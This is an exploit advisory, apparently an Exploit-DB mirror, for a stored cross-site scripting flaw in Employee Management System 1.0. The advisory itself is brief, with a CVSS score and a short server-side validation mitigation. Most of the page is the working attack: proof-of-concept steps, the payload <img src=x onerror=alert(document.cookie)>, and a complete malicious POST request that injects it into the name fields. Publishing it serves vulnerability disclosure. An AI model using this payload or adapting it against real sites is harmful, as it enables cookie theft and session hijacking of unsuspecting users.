Employee Management System 1.0 - Stored Cross Site Scripting

vendor:

Employee Management System

by:

Ankita Pal

8.8

CVSS

HIGH

Stored Cross Site Scripting

CWE

Product Name: Employee Management System

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:sourcecodester:employee_management_system:1.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 + xampp v3.2.4

2020

Employee Management System 1.0 – Stored Cross Site Scripting

An attacker can exploit this vulnerability by sending a malicious request with a payload in the First Name and Last Name fields. The payload <img src=x onerror=alert(document.cookie)> will be stored in the database and will be executed when the user visits the page.

Mitigation:

Input validation should be done on the server-side to prevent malicious code from being stored in the database.

Source

Exploit-DB raw data:

#Exploit Title: Employee Management System 1.0 - Stored Cross Site Scripting
#Date: 2020-10-16
#Exploit Author: Ankita Pal
#Vendor Homepage: https://www.sourcecodester.com/php/14432/employee-management-system-using-php.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/employee-management-system.zip
#Version: 1.0
#Tested on: Windows 10 + xampp v3.2.4


Proof of Concept:::

Step 1: Open the URL localhost:8081/Employee Management System/addemp.php

Step 2: Use payload <img src=x onerror=alert(document.cookie)> in First Name and Last Name.


Malicious Request:::

POST /Employee%20Management%20System/////process/addempprocess.php HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------3267707159765331982713791736
Content-Length: 1571
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/Employee%20Management%20System/////addemp.php
Cookie: PHPSESSID=infdfigld4et4jndfgbn33kcsv
Upgrade-Insecure-Requests: 1

-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="firstName"

<img src=x onerror=alert(document.cookie)>
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="lastName"

<img src=x onerror=alert(document.cookie)>
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="email"

abc@gmail.com
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="birthday"

2020-09-28
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="gender"

Female
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="contact"

9876543211
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="nid"

12
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="address"

Gujarat
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="dept"

CS
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="degree"

BE
-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="salary"


-----------------------------3267707159765331982713791736
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream


-----------------------------3267707159765331982713791736--


Cookie will be reflected on View Employee.